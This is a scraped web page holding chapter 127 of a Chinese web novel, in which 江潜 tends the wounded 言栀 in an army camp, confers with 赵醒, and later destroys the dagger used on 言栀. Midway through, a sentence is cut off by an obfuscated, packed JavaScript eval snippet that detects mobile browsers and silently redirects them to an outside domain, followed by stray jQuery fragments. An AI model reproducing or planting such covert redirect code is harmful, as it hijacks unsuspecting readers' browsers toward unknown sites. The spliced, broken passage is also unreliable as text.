默认冷灰
24号文字
方正启体

127. 匕首

作者:为衣山人本书字数:K更新时间:
    江潜看言栀睡下,后者在睡梦中仍揪着他披散的发丝不肯放,江潜不敢睡,却也不敢动,坐在床沿直到自己的头也往下跌,睡意席卷了全身又猛的惊醒,他这才发现自己被揪着的头发早已从言栀手中溜了出来,自己却全然不知。


    他简单束起长发,又伸手探他鼻息是否平稳,这才走出帐子往主营去。


    “大、大人。”林随意在帐外烤火,吓得一个激灵。


    江潜点了点头,道:“拜托你们二人,在此处守着他。”


    孙澄音放下手中烤肉,冲他做了个万无一失的动作,便同林随意拖拽着矮木桩,移动到帐前守着。


    江潜来到大营外,赵醒正坐在草地上,望着眼前一片开阔广袤的草原,草原如同虚虚实实的高山,踏上去像是悬崖峭壁,深渊在人的心中。


    “宣翰带着那一队人尽数被俘,上一秒还像个傻子一样乱晃,下一秒连人也见不着。”赵醒的嘴唇上掠过一丝嘲讽似的笑。


    江潜在他身旁坐下,草上血味犹腥,“呼延灼亲自带兵来抓,若非碰见宣翰,恐怕是要一路杀到大营,是什么让他就此罢手,只胁宣翰一人?”


    “你那好弟弟请来了呼延臻,他自然不得不防。”赵醒侧眸道,“言栀如何了?伤他之人可寻得?”


    江潜沉声道:“是一个半大的孩子,估计也是傀儡之类,这才将他蒙骗近身。他是个没吃过苦的娇养公子,这匕首刺得这般深,当真是要修养许久了。”江潜扯了个谎,足矣让赵醒信服。


    赵醒听完后沉默良久,道:“战场上出现个孩子,他也敢轻信向前?”


    “弱者无敌不是么。”江潜说道,突然话锋一转,又道:“来时我给褚殿卿老将军写了信,虽不知他是否答应出兵,但恐信使办事不利,还得请将军同公主派人前去接应才是。”


    江潜补充道:“褚老将军极重排场,若不拿出十足的诚意,他恐怕是连信也懒得拆。”


    赵醒颔首道:“先前我便同言栀商量,是否可以通过你联系上老将军,我与公主的使者还未出城戚筠便派兵打了过来,实在是不合时宜,现如今两方对峙,若能趁着这个间隙说服其出兵是再好不过。”


    “但此番若他出兵,便是公然违抗朝廷了。”江潜提醒道,手中执着一把匕首,用衣角擦亮。


    这是言桐刺伤言栀的那一把。


    赵醒沉吟片刻,道:“褚殿卿身在虞州多年,早已是一方之霸,虽说这虞州终究乃齐国疆土,但连着留州这个是非地,褚老将军这个梁国公又颇有威信,说难听些,虞州早就是褚氏的朝廷了。”


    “此番褚娴自缢东宫,他这个半老得来的掌上明珠没了,这梁子就算是结下了。”赵醒道。


    褚娴乃褚殿卿的独女,未嫁时当星星月亮捧着,说一不二,魏煦昭不肯将魏阶嫁与自己的长子,便求他将女儿托付给魏籍,皇帝亲赐的十里红妆,也算是成了姻亲。


    初封良娣,是因褚娴嫁时年方十五,终归还算是年轻了些,约定好在东宫学上两年中宫之主管理宫闱之事,待到十八,再抬为太子妃,却不想十八将至,太子却先受君嫌,无缘帝位。


    魏邤手下负责查抄东宫的官员误将褚娴视为寻常侍女通房,褚娴抵抗不过,遭受凌辱,这才三尺白绫,一了百了。


    江潜叹道:“魏煦昭在此之后曾命人伪造褚娴字迹,给褚殿卿修书报平安,褚殿卿在我信送至之前,怕是还不知爱女已死。”


    赵醒余光扫视江潜之后,故作漫不经心抬起头来,冲着无边浩宇微微一笑。


    “魏煦昭和魏邤当真是亲父子,一样的恶,一样的令人作呕。”赵醒说道。


    “赵将军不是已然打算好如何去取他们的项上人头了么?”江潜缓缓站起身,拍了拍衣上枯草,“将军这般有能耐,总能杀一个吧。”


    “光凭我一人又能如何?不如江大人为我军师,照样能闯出个万世太平。”赵醒向他伸出手。


    江潜淡然轻笑,道:“谢闻枝是我的同窗至交。”


    赵醒有些摸不着头脑,问:“与谢家小子又有何干?”


    “谢闻枝的亲爹惨死破燕城,尸骨都找不全,勉强找到一些骸骨方才有归园那个谢氏塚,这样惨痛的教训尚且历历在目,江某没有谢岷那样的无双才智,更没有他那个胆量,舍命陪君子这样的事,恕我难以为之。”江潜说完便转身离去,他透过了气,说完了事,便该回去看看言栀。


    赵醒没有追他,身后仍是草原,眼前却只有江潜的背影。


    待江潜回到帐前,天已隐约亮了,林随意和孙澄音熄灭了营火,孙澄音指着帐子道:“方才有个异族人进去了,好像是那呼延王子,说是来瞧瞧公子。”


    江潜没忍皱眉道:“你没拦下他?他不懂事,你还不懂吗?”


    林随意腾起身来摆手,道:“是言公子,他醒了,属下问过了方才许他进去,他好歹也是呼延贵族,属下如何能让他怵在门外?”


    江潜懒得搭理,掀开帐子大步进去,却见言栀枕着软垫半躺着,呼延臻坐在榻边,正要喂食些什么。


    “你醒了?”江潜强撑出一个笑容,仿佛若无其事一般。


    呼延臻手上的动作顿了片刻,将碗放置一旁,道:“江大人回来了?咱们这是......头一回见吧?”


    江潜瞥了眼那陶碗,来到言栀塌前俯身去感受他的体温。


    “早有耳闻,青笮与我说过,认识了一个油嘴滑舌的异族人。”江潜冲言栀挑眉一笑,后者强忍着笑意,偏过头去。


    呼延臻亦笑道:“你当真是同他这么说的?”


    言栀望了眼呼延臻金黄的瞳,道:“我岂敢啊,王子金尊玉贵,能来瞧我便感激不尽,我兄长回来了,王子不必担忧。”


    呼延臻还想说些什么,却听江潜吩咐道:“来人,快送王子回帐用早膳。”


    “就这般想赶我走?”呼延臻笑道,见言栀冲他摆了摆手,刻意侧眸深深望了眼江潜,道:“我晚些再来看你,不耽误你们叙旧,但言栀你别忘了,我们又何尝不是许久未见?”


    言栀见他总算离去,长松了一口气,头疼道:“可算走了。”


    江潜端起碗,放在鼻尖底下嗅,道:“羊乳?”


    言栀微微点头,道:“是啊,他说草原上的孩子平日里受伤都喝这个,我闻着味便受不了。”受了伤,言栀毫无食欲。


    “膻了些,你喝不惯。”江潜将碗放回桌上,道:“也不怕旁人下毒,这般重的味道,要想趁虚而入,多容易?”


    言栀惨淡一笑:“死了也罢,刚好趁了他们的意。”


    江潜自然懂得这里的他们所指为谁,在心中长长叹息,又换上笑面,问:“怎么不睡了,可是呼延臻吵醒了你?”


    言栀摇摇头,掀开被褥一角,道:“你走后我便睡不安稳,想换个姿势,侧个身,还没开始动呢,这伤口就又渗血,烦得要命。”


    果不其然,言栀的寝衣上已然透出点点血红,他还想掀开衣服给江潜瞧。


    江潜摁住言栀的手,“别动。”


    只见他提来药匣,打开取出伤药,道:“你睡得浅,睡相也差,平日里也就罢了,现如今受了伤,一拉一扯都能使伤口撕裂,能不渗血么?”


    言栀垂眸瞧着他仔细小心为自己上药的模样,不由笑道:“所以你才要时时刻刻在我左右,看紧我,盯紧我,我向来不是能安定的人,你一不转眼我就会跑。”


    江潜笑而不语,继续仔细包扎着,生怕他皱一下眉。


    “听见了吗?”言栀伸手拍他的脑袋,却倒吸一口凉气。


    “痛了吧?”江潜眉目之间皆是无奈,“还不快躺好?”


    言栀虽安分躺着,却满心不耐,“听见了吗?我是你的主子,这是我的吩咐,是命令!”


    “好,好,”江潜端走药匣,为他盖好了被褥,声音里满是柔肠:“我何尝不是唯命是从?你说的我可曾没答应过一件?”


    “那就好。”言栀得偿所愿,说完才感到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975412|156964||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    劳累,果然,血流多了,不管是人是神都会累。


    江潜收拾着纱布,血染在他的手上,心里总抽着疼,他回望一眼言栀,皱眉叹息:“就数你最骄纵不过,这也便罢了,还不听话,就该把你送去池照待着。”


    话虽如此,江潜又何尝不知,将他送去池照早晚也能原路跑回来,只是如今又气又悲,克制着心底涌动暗潮。


    言栀指了指江潜腰间别着的,道:“这个,给我看看。”


    “什么?”江潜低头看了看,遭了,是方才那匕首。


    “快点。”言栀脸上没了笑容,向他摊开手掌。


    江潜将匕首取下,轻放在他手心,道:“小心些。”


    “这是阿姐捅我的那柄匕首?”言栀笑问道,两指将他提起,借着烛光观察。


    江潜默了声,言栀便懂得答案,自顾说道:“这匕首做的极好,花纹也漂亮,若死在这样的匕首下,倒也不亏。”


    “死字挂嘴边很好听么?”江潜道,他低垂着脸,看不清表情。


    言栀将匕首放在胸前玩弄,道:“你凑近些。”


    “做什么?”江潜向他挪近,垂下眸正好与他对视。


    言栀玩味道:“你不想让我死,是因为你喜欢我,还是担心我死在你面前,你害怕?”


    “你在说什么?”江潜愣了神,不禁凑近问:“又在想什么?”


    言栀抽出匕首,匕首闪着寒光,他用手指肚试了试刀尖,却被江潜一把夺过。


    “我知道,从前忠心耿耿,为护旧主连斩四十余人于马下,地狱天门同时开,你哪儿也不去,是父亲下凡引你为仙,否则,这月宫你连一眼也不会瞧。”言栀睨着他道,“是因为你的旧主死在了你的面前?”


    江潜见他骤然提起往事,显然不自在,只好喟叹道:“你何时知道的?”


    言栀扫视他,微微一笑:“和你第一次的前一晚,父亲告诉我的。”


    “想必殿下告诉你的是,我旧主阮氏,长我两岁,我与他相依为命?”江潜能在身体乍现的寒冷与炉火的交织中听见自己的呼吸,与自己欲盖弥彰似的自嘲一笑。


    “恐怕他也没说其他了。”江潜故作轻松道。


    言栀点点头,“他也没说你喜欢他。”


    “是不是睡前不胡思乱想一通,这觉便不安稳?”江潜扬眉问。


    “你喜欢他么?”言栀平和问。


    江潜起身执起铁剪拨弄炉火,暗忖了片刻,道:“你若是问十八岁的我,想来我是会犹豫片刻的,那时我分不清喜欢和依赖,直到他死,我大抵也没有想明白。当时不管上天还是入地哪儿也不想去,只想找个清净地去等死。”


    言栀侧眸望着他,屏息凝神不让自己耳边朦胧。


    “我是个孤儿,自己把自己拉扯大,我又怎会想到为仙后却是替人教养孩子?”江潜回眸冲言栀淡然一笑。


    言栀亦笑道:“我也是个孤儿。”


    “我想问你一个问题,”江潜回到榻边,抚摸言栀的眼,“我猜到你知晓我的过去,可却没想到是那一日之前......为何你在此之后还要答应与我同游?”


    言栀绯红的脸上微微沁出些汗,他瞥过眼去,道:“不过是......一次罢了。”


    外头渐渐亮起,日头初升,帐篷内却还是昏暗一片,烛光将他俩的发丝辉映出金灿灿的光,暖意在他们眼中生起。


    “那日你选择来赴约的答案,便是我如今要说的话。”江潜笑道,“你还记得你说什么吗?”


    言栀想要踹他,却发现难以移动,佯装凶狠瞪了他一眼。


    江潜将案上匕首扔进火炉里,让他无法再触碰那泛着铁寒的锋利刀刃,学着曾经的语气,捏着嗓子矫揉造作道:“我就算是死,也要和你死在一起。”


    言栀望着他,忍俊不禁,言桐不要他,自有人将他视作珍宝。


    “我要见孟先生。”言栀的眼神透露着坚韧决绝。


    不知他究竟听进多少。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)